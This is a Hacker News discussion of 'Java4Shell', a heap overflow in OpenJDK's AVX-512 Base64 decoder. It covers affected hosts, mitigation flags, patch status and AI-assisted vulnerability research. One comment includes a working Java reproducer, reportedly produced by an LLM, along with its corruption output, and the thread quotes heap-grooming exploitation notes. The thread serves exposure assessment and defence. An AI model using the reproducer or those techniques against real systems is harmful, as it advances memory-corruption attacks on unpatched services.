Java4Shell: RCE in OpenJDK when processing Base64

(calif.io)

447 points | by werrett 3 hours ago

43 comments

  • lucasluitjes 1 hour ago
    From the section on performing heap grooming over the network ("Remote Heap Feng Shui"):

    > The current attack is sensitive to network conditions, like RTT and jitter. Low, stable round-trip times are preferred for a more reliable attack. In our controlled environment, we performed this attack over the internet through public IP addresses instead of just assuming perfect laboratory conditions. For the current attack path to achieve optimal stability and reliability in exploitation, Calif turned to physics and utilized money to solve the problem, rather than experimenting with TCP/IP stack configuration. In other words, Calif rented another VM in the same region as our target.

    And the "Limitations" section:

    > There is no universal payload. Each chain needs a decoder route, a live writer, a returned reader or another feedback path, a heap layout, and an application action. Every target needs a bespoke profile. The exploit is not a universal point-and-shoot.

    Based on the complexity and constraints, short-term mass-exploitation seems unlikely. It will take some time before there are reliable exploits, and they may require running on infra close to the target.

    But a long tail of unpatched java applications/services at high-value targets getting exploited, seems plausible to me.

    • luka2233 1 hour ago
      still pretty scary for multi-tenant infra
    • afavour 59 minutes ago
      Yes, I guess the TL;DR is the chances of a drive by attack are low, but a sufficiently motivated actor with a specific target in mind might be able to exploit it.

      So, patch your systems, governments!

    • lowbloodsugar 41 minutes ago
      >Based on the complexity and constraints, short-term mass-exploitation seems unlikely.

      Don't see how this is a safe assumption in the modern era of LLMs.

      • afavour 34 minutes ago
        > The current attack is sensitive to network conditions, like RTT and jitter.

        LLMs aren’t magic, they can’t alter physics.

        • Xirdus 21 minutes ago
          Something like 20% of all internet is colocated in us-east-1.
        • makeitdouble 25 minutes ago
          With only a few major cloud providers, running a VM in physical proximity isn't a herculean task though.

          In particular booting a VM is cheap, having them in all potential regions won't break the bank.

    • jonstewart 1 hour ago
      > Based on the complexity and constraints, short-term mass-exploitation seems unlikely. It will take some time before there are reliable exploits

      Mass exploitation, maybe. But LLMs are pretty good at finding exploits now as Calif showed at unprompted a few weeks ago.

      • AdrenalinMd 58 minutes ago
        Indeed, it can be a SKILL.md that writes the exploit. So in the end it could still be quite mass exploitable, only depends how much context is needed to write the exploit.
  • ievans 3 hours ago
    Super impressive work by Calif as usual.

    The exploit conditions are very specific but there are still going to be a lot of hosts impacted. We at Semgrep published some free detection scripts here: https://github.com/semgrep/detection-scripts/tree/main/CVE-2...

    They look for these five conditions:

      * HotSpot VM: any OpenJDK build, Oracle JDK, or GraalVM JDK. Only HotSpot generates the stub. OpenJ9 and GCJ are OK. Azul Prime (Zing), which replaces C2 with its own JIT, and any VM name not recognized as HotSpot are [?], never [!].
      * x86-64 JVM on an x86-64 host.
      * Version 17.0.6 or later, not at or above a version listed in FIXED_IN, and no newer than the newest releases checked (see below). Newer versions are [?]: they may carry the fix.
      * The JVM reports avx512_vbmi and avx512bw, and UseAVX >= 3.
      * Base64 intrinsics are on and C2/JVMCI can compile. These turn it off: -XX:-UseBASE64Intrinsics, -XX:DisableIntrinsic=_base64_decodeBlock, -Xint, -XX:TieredStopAtLevel below 4.
    • testtestmetest 2 minutes ago
      Calif is an OpenAI funded shop..
    • bikezen 1 hour ago
      The write-up itself matches your version assumption, however it also says:

      > According to Oracle, the following Oracle Java SE versions are vulnerable: 8u511b33-perf, 17.0.21.0.3, 21.0.13.0.3, 25.0.5.0.3, 27.0.1.0.3. We thank Oracle for providing this information ahead of publication time.

      So according to Oracle at least, JRE8 versions are affected as well.

    • cjbprime 2 hours ago
      Wouldn't it be prudent for someone to patch even if they aren't running their code on an AVX512 system right this moment? They could be running on one.. next moment.
      • Banditoz 1 hour ago
        Sure, but I think it brings it down from "patch immediately" severity, to just "bump the JDK with next service deploy" severity.

        Or, do running machines often have their CPU changed from under them without much notice?

        • stackskipton 1 hour ago
          Depends on the company and deployment method. As Ops person, I generally don't think much about rolling out different Kubernetes Nodes and what SKU I select. So yes, you could be running on one node type today and tomorrow I upgrade the nodes under you.
          • xmodem 57 minutes ago
            We’re using a second-tier cloud provider’s managed Kubernetes offering, and in investigating our level of exposure to this, I just learned that there is variance within a node pool on whether AVX-512 is available.
        • Sohcahtoa82 1 hour ago
          > Or, do running machines often have their CPU changed from under them without much notice?

          I dunno about other cloud providers, but I know AWS can move your EC2 VM from one system to another transparently. There is a server ID you can get from the metadata, but unless you're checking it frequently, you can be moved without ever being aware.

          • PhilipRoman 28 minutes ago
            Question is if they expose it to the guest. Many (most?) cloud platforms will make the guest see the lowest common denominator, specifically to avoid angry customers when their working setup suddenly breaks.

            In the case of transparent migration, I think it's basically a must. No JIT (or even libc probably) is going to support CPU features changing at runtime.

    • bonsai_spool 2 hours ago
      This looks like Claudese - may be kind to write such things yourself if you intend for humans to read them. (For example, “ HotSpot VM: any OpenJDK build, Oracle JDK, or GraalVM JDK. Only HotSpot generates the stub. OpenJ9 and GCJ are OK. Azul Prime (Zing), which replaces C2 with its own JIT, and any VM name not recognized as HotSpot are [?], never [!].” — I tried parsing at least five times before realizing you’re asking me to decipher LLM talk)
      • Yokolos 1 hour ago
        I still don't understand what's meant with Azul. Is it affected or not? What is it never?
        • kaboberg 54 minutes ago
          Azul Core definitely is - it uses upstream HotSpot.

          Azul Platform Prime (formerly Zing) may or may not be depending on whether they touched the base64 intrinsic. Since it is closed-source there is no way to verify via code, which is how our research team investigates ecosystem events like this.

  • leca 3 hours ago
    What’s that old Chinese proverb? “May you live in interesting times”? It feels like we’re living in interesting times. How long will it take for a bad actor to seriously compromise critical infrastructure? My bet is within six months.

    The upside is that it’ll force legacy institutions and organizations with sub-par security to get good at security and modernize their legacy stacks. That, or get pwned in short order.

    • testtestmetest 1 minute ago
      That's what they want you to expect. Either way, the worst possible people on our side will take advantage of it, and possibly cause it for that opportunity.
    • makeitdouble 18 minutes ago
      We've already seen an attack on transfusion blood storage.

      I wouldn't minimize the impact of the ones on supermaket freezers either. It was technically dumb and somewhat laughable, but we're talking food. The affected chains had stores in very rural areas with elder people living in remote places, these supermakets would be the only purveyor of long conservation food.

      I'd argue we're already there, albeit at small scale yet.

    • ctoth 2 hours ago
      > My bet is within six months

      My bet is it already happened two months ago and there's a whole secret scrum we only vaguely know about happening right now.

      • adrianpike 2 hours ago
        Instability is often correlated to urgently performed change, and we've seen a lot of instability around the world lately.
        • pixl97 2 hours ago
          A lot of organizations we sitting on internal bugs for years because they thought they were impossible to exploit, and now their red team can break them in hours.

          Most businesses are stuck in a trap now. They know the software is exploitable, but they are organizationally slow in testing and rollout. They have to start moving fast with security and IT organizations that are cut to the bone, yet at the same time contain to much box checking deadweight.

          • jeremyjh 1 hour ago
            3/4 of the Fortune 500 will conclude they should hire expensive consultants to create more checkboxes.
        • ChuckSneed 2 hours ago
          Instability can also be attributed to AI slop code. That's the simplest explanation.
      • Analemma_ 2 hours ago
        I think this bet is optimistically assuming a far more competent world than the one we actually have. Have you seen the idiot clowns actually in power? The agency that might've been tasked with this hypothetical secret scrum, CISA, has been gutted and left to rot because they thought it was an enemy plot to censor them on social media or whatever. There's no secret room where the smart people are fixing things.
        • scottyah 1 hour ago
          There are many secret rooms where many smart people are fixing many things. It's more telling about yourself that you don't know of any.
          • jeremyjh 1 hour ago
            There is no secret room where smart people people aligned with the interests of the people of the United States are fixing things. There may not be any smart people left in the Federal government who aren't actively engaged in looting it.
          • salamandars 45 minutes ago
            Tell us about one of them, then.
  • AgentME 3 hours ago
    Unconfirmed, but people on Twitter suggest this vulnerability has to do with the AVX512 implementation of Base64 decoding, and so this vulnerability can be worked around by running Java with the -XX:UseAVX=2 flag. (https://x.com/sean_a_cassidy/status/2122791344573976817)
    • _msw_ 2 hours ago
      This isn't the best flag to mitigate, since it will fail on systems that don't support AVX2.

      I recommend -XX:-UseBASE64Intrinsics instead.

      • marginalia_nu 2 hours ago
        What system supports AVX512 but not AVX2?
        • philipkglass 2 hours ago
          I assume that the advice is referring to situations where you might have a mixture of ARM and AMD64 hosts, like on AWS, so you need to be careful about global flag updates that might not work across all instances.
          • marginalia_nu 2 hours ago
            Surely you'd still need to know what you're deploying on. Can't plop an x86_64 JVM on an ARM host or vice versa, at least if you want them to run.
            • articulatepang 1 hour ago
              I think the idea is that you’re already running the appropriate JVM on each architecture, but want to push a global command line flag update to every JVM you run, regardless of architecture, that prevents this exploit.

              Until, presumably, there’s fixes and you can test, update etc.

              • marginalia_nu 1 hour ago
                Why'd you patch the commandline of JVMs that aren't vulnerable though?
                • xboxnolifes 1 hour ago
                  So you don't need to check every host individually, you just patch all of them for now.
                  • eru 42 minutes ago
                    Especially since that check might have further problems. The simpler you can make your code (and still solve the problem) the better.
                    • marginalia_nu 33 minutes ago
                      I don't know if I'd count paving over the reality of what you're running with an abstraction layer as something simpler. If anything it demonstrably makes addressing issues like these harder.
            • philipkglass 1 hour ago
              It's possible if you have enough abstraction layers. At my company there are a few systems with Java runtime flags specified in the service source code, but deployment configuration in a separate infrastructure-as-code repository. Switching between CPU architectures is normally transparent if you don't rely on native code libraries.
    • mey 2 hours ago
      If a system doesn't support AVX512, is it an issue?
      • cpach 2 hours ago
        AFAICT: No.

        Edit: If I understood the article correctly, the machine needs to have all the four of these flags in order to be exploitable: avx512f, avx512bw, avx512vbmi, bmi2

    • elric 3 hours ago
      There are presumably more bugs lurking in the hand crafted assembly intrinsics in the JVM. The many eyeballs and shallow bugs thing is only true when the eyeballs actually understand the code.
    • jeremyjh 58 minutes ago
      Oddly enough they saw fit to mention this fact in TFA.
  • fsnovask 56 minutes ago
    >The best hacker today is neither AI nor human. It is the centaur hacker, part human, part AI.

    I think only really smart people are going to be left in Security and Software. I can barely fathom what this group is doing with AI right now (ignoring that their model probably isn't nerfed and mine would be) and I don't think any of this is trainable for the average developer. This is starting to feel like some of the scientific fields where careers start when you get a MS/PhD. Or like the average developer is on the same level of not being able to convert a Word document to PDF.

    • eru 44 minutes ago
      > I think only really smart people are going to be left in Security and Software.

      I'm looking forward to eventually getting there. At the moment, there's so much low hanging fruit that even someone without a clue like me can just point a fuzzer at some random Linux kernel code and still discover problems.

      (Most of the problems I found from that exercise are patched by now, if you use a recent enough kernel.)

      I used Kimi to drive the fuzzer. The model didn't have to do anything smart, just do the tedious work of writing the glue code to make the fuzzing work. AFL++ did the 'smart' parts, and I had the idea to kick it off and oversaw the patches.

    • colonCapitalDee 46 minutes ago
      I don't know, it feels like just another skill to me. You learn your debugger, you learn the shell, you learn web development... you learn AI.

      We'll see how long the centaur era lasts though. Hopefully a very long time

      • eru 44 minutes ago
        For comparison for chess, it didn't last that long.
  • george_max 9 minutes ago
    This only fires on x86 servers whose CPUs have AVX-512 VBMI. ARM boxes like Graviton and older Xeons never run the buggy code.

    Could this be what triggered the recent outages?

    https://x.com/InfiShark/status/2122786295105913332

  • drum55 2 hours ago
    They aren’t wrong that we should be deleting more support and removing more features. The idea that the linux kernel by default builds support for all sorts of ancient systems nobody has ever heard of is absurd.
    • Gigachad 17 minutes ago
      The kernel already dynamically loads kernel modules based on hardware it's running on so most of the junk isn't loaded. But for the stuff you can't dynamically load, it's a tradeoff between stripping the kernel down and supporting the most hardware.

      Maybe distros could provide two builds, one for modern hardware only and one for maximum compatibility.

    • eru 43 minutes ago
      You can use the kernel config to remove these things.
  • yabones 3 hours ago
    Before you keep your security team up all night, it looks like proxies save the day here. Might not be a complete fix, obviously a real patch should be applied as soon as possible.

    > Request streaming. Some current grooming profiles need partial request bodies to reach the application. A proxy that waits for the complete body removes their release timing. nginx buffers request bodies by default.

    https://calif.io/java4shell/#limitations

  • mzs 3 hours ago
    You can also mitigate Java4Shell by starting OpenJDK with either:

    -XX:-UseBASE64Intrinsics to disable hardware-accelerated Base64 encoding and decoding, or

    -XX:UseAVX=2 to disable AVX-512. Apply this flag only on x86-64 hosts. OpenJDK on ARM doesn't recognize it and will fail to start.

    • marginalia_nu 3 hours ago
      Might be worth examining whether AVX-512 is even supported on the machine before freaking out, too.
  • benjiweber 3 hours ago
  • nacnud 3 hours ago
    More info here: https://www.upwind.io/blog/java4shell-what-we-know-now-and-w...

    It's a heap out-of-bounds write in Java’s AVX-512 Base64 decoder.

  • hypfer 2 hours ago
    Given that this is AVX512-only...how many enterprises are out there that run vulnerable java applications on non-intel servers?

    Genuine question. Everything I see is Intel all the time. I know that people at home switched to AMD, but they don't run enterprise java.

    I also have been told that apparently EPYC was hyped for a while and some hosters give you that. But do corporations run the java applications there?

    The name makes it sound like Log4J or the PHP thing, but from what I can tell right now, it kinda isn't all that relevant?

    • tptacek 2 hours ago
      The Log4j comparison is always a little frustrating, because it sets the bar somewhere in the neighborhood of "apocalyptic". If you're someone who believes our response to serious vulnerabilities is inadequate, you can see how Log4Shell gives a lot of cover to companies.

      It is wild to find a generalizable (if platform-specific) memory corruption vulnerability in Java core Base64 handling; the tornado sirens should clearly be going off. But yes, it's not as bad as Log4Shell.

    • p_l 2 hours ago
      Lots of AMD servers out there, both on-prem and in the cloud, though AVX-512 capable ones are relatively recent.
    • aleksejs 1 hour ago
      (Some) Intel server CPUs support AVX512.
    • CodesInChaos 2 hours ago
      We run many of our apps on AWS's graviton (ARM) to reduce costs.
      • t0mas88 1 hour ago
        Same here, and ARM64 is not affected by this CVE.
  • Noe2097 2 hours ago
    This attack surface (manually optimized assembly code in the middle of software stacks) looks AWESOME
  • rbanffy 2 hours ago
    Not everywhere... Requires an x86-64 processir with AVX512.
    • formerly_proven 2 hours ago
      Pretty much any Intel server and most AMD servers are going to support AVX512 and conversely most VMs running in the cloud will have access to it.
      • rbanffy 2 hours ago
        Speak for yourself. All my cloud VMs are ARM, with one exception, one s390x running Linux.
  • kaliszad 3 hours ago
    Seems like -XX:-UseBASE64Intrinsics is the better workaround for now.
  • aaronvg 1 hour ago
    Makes me wonder whether we would have the same vulnerability if an LLM had written this decoder. It's tricky to write safe hardware accelerated code.
  • cedricbonhomme 2 hours ago
    Tracking sightings related to this vulnerability here: https://vulnerability.circl.lu/vuln/CVE-2026-114938#sighting...
  • plmpsu 4 hours ago
    Does anyone know what the attack vector of this is? I'm trying to figure out if our usage is affected by this CVE.
    • fweimer 2 hours ago
      GLM 5.3 produced this after a bit of prodding. I started out with the C++ sources with a bug marker instead of the fix: https://github.com/openjdk/jdk/commit/5177a70b385c16f26ede19...

      There are only a bunch of commits that came in the latest merge of security fixes, and this one changed VBMI-related intrinsics code, so it's a good match for what was publicly disclosed at the time.

          import java.util.Arrays;
          import java.util.Base64;
          
          public class Canary {
              // static fields defeat escape analysis so dst/canary really live in the heap
              static byte[] dst;
              static byte[] canary;
          
              public static void main(String[] args) {
                  // (input, expected decodedOutLength) pairs:
                  //   65 = "A"*64 + "="    -> fragment "="   (length 1, trailing pad)
                  //   66 = "A"*64 + "Q="   -> fragment "Q="  (length 2, trailing pad)
                  //   67 = "A"*64 + "QQ="  -> fragment "QQ=" (length 3, trailing pad)
                  //   68 = "A"*64 + "QQ==" -> fragment 4 bytes, well-formed control case
                  int[][] cases = { { 65, 50 }, { 66, 50 }, { 67, 50 }, { 68, 49 } };
                  byte[][] srcs = new byte[cases.length][];
                  for (int c = 0; c < cases.length; c++) {
                      int len = cases[c][0];
                      byte[] src = new byte[len];
                      Arrays.fill(src, (byte) 'A');
                      if (len == 65) { src[64] = '='; }
                      if (len == 66) { src[64] = 'Q'; src[65] = '='; }
                      if (len == 67) { src[64] = 'Q'; src[65] = 'Q'; src[66] = '='; }
                      if (len == 68) { src[64] = 'Q'; src[65] = 'Q'; src[66] = '=';
                          src[67] = '='; }
                      srcs[c] = src;
                  }
          
                  int iters = 300_000;
                  for (int iter = 0; iter < iters; iter++) {
                      for (int c = 0; c < cases.length; c++) {
                          byte[] src = srcs[c];
                          int dstLen = cases[c][1];
                          // fresh dst, then canary IMMEDIATELY after it in the TLAB
                          dst = new byte[dstLen];
                          canary = new byte[64];
                          Arrays.fill(canary, (byte) 0x41);
                          int before = canary.length;
                          try {
                              Base64.getDecoder().decode(src, dst);
                          } catch (IllegalArgumentException e) {
                              // expected for the malformed tails
                          }
                          if (canary.length != before || changed(canary)) {
                              System.out.println(
                                  "*** ITERATION " + iter + ", input length " + src.length
                                  + ": DESTINATION BUFFER OVERRUN DETECTED");
                              System.out.println(
                                  "canary.length = " + canary.length + " (expected 64)");
                              System.out.println(
                                  "canary bytes  = " + toHex(canary, 48));
                              return;
                          }
                      }
                      if (iter % 50_000 == 0)
                          System.out.println("iter " + iter + ": clean so far");
                  }
                  System.out.println(
                      "no corruption detected in " + iters + " iterations");
              }
          
              static boolean changed(byte[] b) {
                  for (byte x : b) if (x != 0x41) return true;
                  return false;
              }
          
              static String toHex(byte[] b, int n) {
                  StringBuilder sb = new StringBuilder();
                  for (int i = 0; i < 64; i++)
                      sb.append(String.format("%02x ", b[i]));
                  return sb.toString();
              }
          }
      
      I had to fix toHex() not to use b.length, otherwise it wouldn't print anything due to the negative array length field.

          *** ITERATION 4076, input length 67: DESTINATION BUFFER OVERRUN DETECTED
          canary.length = -1700370022 (expected 64)
          canary bytes  = 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 
      
      
      GLM had web access for this, and it was able retrieve the OpenJDK fix. I don't know if it found the reproducer in its web searches.

      Turning this into a reliable exploit probably still requires some expertise. It's going to depend on heap layout at the time of the overflow. Targets won't be auto-selecting themselves like they did for Log4Shell.

    • yabones 3 hours ago
      Some unverified sources have said it's in the Base64 decoder, but strangely only effecting AMD64 machines, so anything on ARM/graviton allegedly isn't impacted. Some sort of bug in some hyper-optimized code I reckon. That might mean any place that parses cookies, headers, urls, JWTs, SAML payloads, certificates, etc, might be exposed. Yikes.

      But the facts aren't really out yet, we'll learn more in coming hours and days...

    • vips7L 3 hours ago
      No details yet. Calif was supposed to release them at 1PT after the update was pushed out. The corretto release notes say its in hotspot/compiler.

      https://github.com/corretto/corretto-25/blob/25.0.5.1.2/CHAN...

    • explain 3 hours ago
      Here's the supposed patch (?): https://pbs.twimg.com/media/HXWyDZQXEAAPOVf?format=webp&name...

      `grep -ow avx512vbmi /proc/cpuinfo | sort -u`

      `-XX:-UseBASE64Intrinsics -XX:UseAVX=2`

    • mwambua 3 hours ago
      [dead]
  • spidermonkey23 1 hour ago
    The string of A's reminds me of the ssh exploit recently.
  • dboreham 2 hours ago
    "vibe-uncoding" -- have actually been doing quite a bit of that in my older projects.
  • cpach 2 hours ago
    .
    • ryanschaefer 2 hours ago
      This should be the main thread as this is the primary source
  • mushufasa 2 hours ago
    where is the dancing girl in the exploit videos???
    • 3dedb728-3f77 2 hours ago
      Yes, this is pretty much required now after the last.
      • cpach 1 hour ago
        I’m probably boring, but IMHO a plain video is easier to digest (:
  • bullen 57 minutes ago
    This is the code I use since 20 years back:

    http://move.rupy.se/file/base64.txt

    If this part becomes the bottleneck; so I need to write a GPU accelerated version I'll eat my own hat.

    • CAP_NET_ADMIN 39 minutes ago
      Vectorized base64 can reach speeds in the proximity of memory copy.

      I've easily reached a point where it was worth it to go AVX route in my "for funsies" game that I'm making.

      • CAP_NET_ADMIN 36 minutes ago
        Just checked, the scalar version reaches around 1-2GB/s when decoding, optimized it gets to 4GB/s, AVX-512 VBMI version reaches 40-55GB/s.
        • bullen 33 minutes ago
          Interesting, what game are you making?
          • CAP_NET_ADMIN 17 minutes ago
            Large scale tower/base defense with time rewind mechanics and user-generated structure templates.
  • DarkmSparks 2 hours ago
    me using java for so long I have my own util.Base64 class used everywhere in pure java.

    now panicking in case some LLM imported this without me noticing.

    edit: it did. :(

  • titzer 1 hour ago
    Encode binary data in text because some dumb thing can't process binary. Text back to binary slow, so better make use of ridiculously wide vector width thing to speed up dumb decoding step we should have never become reliant on in hot paths. Derp, memory safety bug. Derp, die because performance "optimization".

    Our incredibly high tower of Jenga blocks is falling down under its own weight.

    So many promotions because of optimizing cosmically unnecessary work, though.

    Derp, derp, this is humans making computers.

    As a person who does these kinds of optimizations, it hits in the feels.

  • LastTrain 1 hour ago
    Seems like security through obscurity might be a thing after all.
  • jeffbee 2 hours ago
    If I owned an entire language platform with a JIT, it would not contain assembly in its standard library, it would simply be improved until it generated something at least that fast from high-level source code on that target CPU.

    This is something I really like about LLVM. Their libc isn't spilling over with hand-written assembly. It's written in straightforward C++ under the belief that the compiler does, or will do, a good job.

  • iririririr 2 hours ago
    is this why half the banks worldwide are offline on and off since yesterday?
  • secondcoming 2 hours ago
    Why would anyone write the scalar part of a SIMD'd function in assembly code!?
  • 9029 2 hours ago
    So who leaked it?
  • doctorpangloss 3 hours ago
    is this the root cause of the issue befalling making giant companies right now? i think it's a java DOS for sure, but an RCE?
    • TZubiri 3 hours ago
      Looks unrelated, this is being disclosed now but it was discovered a couple of weeks ago and is just now being made public at the same time.

      Also I haven't looked into it, but I'm willing to be it's some free after-use memory corruption thing that has a CVSS Attack Complexity of high, the 'RCE' is speculative, and private companies push social media headlines to fit the AI cybersecurity narrative.

      Not saying the doom isn't right, but sometimes it's more like a Wednesday than doomsday. Just patch it and move on. Thanks to all involved though in disclosing and patching though.

  • charlie2agent 1 hour ago
    [flagged]
  • Sigmazero60 3 hours ago
    We set UseAVX=2 on all our jdk hosts last year for unrelated thermal issues, turns out that saved us here
  • nassirkhan 1 hour ago
    [flagged]
  • Agataproximadev 1 hour ago
    [flagged]
  • eyalitki 3 hours ago
    The fact that mainstream modules have such trivial bugs in logic that can be fully covered by testing is staggering. It is about time software developers will have proper test coverage for their code, at least for basic "unit" modules. Maybe we can even name a testing philosophy to match it.
    • Noe2097 2 hours ago
      Not sure this is as trivial as it seems. The bug triggers on a specific instruction set, on a precise input length, with a specific character at the end, and when on the hot path, and requires low level memory access checking to be detected.
      • spockz 1 hour ago
        For the finished jre yes. But one would hope these kind of checks are also run on a hand rolled decoder function. Fuzzing that one and finding logic bugs is a lot easier
    • ajasmin 2 hours ago
      Finding these kind of bugs would have required fuzzing and some kind of bound checking canaries. Not sure all bound checkers work on the hand-optimized assembly.

      Or as it turns out an LLM! Not clear whether their agent spawned any classic tools...

    • layer8 2 hours ago
      [dead]
  • spullara 2 hours ago
    please stop using native code that hasn't been proven
  • nikanj 2 hours ago
    Just as with CVE-2026-98432, Debian is immediately patched at embargo drop, Ubuntu still isn't patched.

    Why do we even pay for Ubuntu?

    • cpach 2 hours ago
      Are you sure? I can’t see any Debian advisory for this vuln.

      https://www.debian.org/security/

    • mitchweaver 2 hours ago
      Uhh, Debian is NOT patched as of this writing.

      Fortunately I run name-brand Oracle(R) Java(tm), which did publish updated packages.